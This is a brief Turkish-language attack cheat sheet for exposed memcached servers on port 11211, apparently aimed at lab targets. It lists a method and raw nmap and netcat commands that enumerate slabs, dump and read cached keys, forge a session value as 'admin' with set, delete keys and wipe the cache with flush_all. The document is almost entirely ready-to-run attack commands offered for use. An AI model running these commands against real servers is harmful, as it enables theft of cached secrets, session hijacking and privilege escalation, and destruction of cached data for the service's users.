Memcache Commands

Memcached commands

Ham memcached protokol komutları: stats, items, cachedump, get, set, delete, flush_all. Her komut tek fence. Hedef lab IP’si üzerinde komutları 80 portuna göre uyarla; her başarıyı ayrı kanıtla.

Metodoloji

1. 11211 TCP doğrula.

2. stats ve items ile slab keşfet.

3. cachedump + get ile değer oku.

4. set ile session/token zehirle.

Keşif

nmap -Pn -sV -p11211 TARGET

nmap -p11211 --script memcached-info TARGET

echo stats | nc TARGET 11211

Komutlar

echo -e 'stats items\nquit' | nc TARGET 11211

echo -e 'stats cachedump 1 100\nquit' | nc TARGET 11211

echo -e 'get KEY\nquit' | nc TARGET 11211

printf 'set sess:1 0 0 5\r\nadmin\r\n' | nc TARGET 11211

echo -e 'delete KEY\nquit' | nc TARGET 11211

echo -e 'flush_all\nquit' | nc TARGET 11211
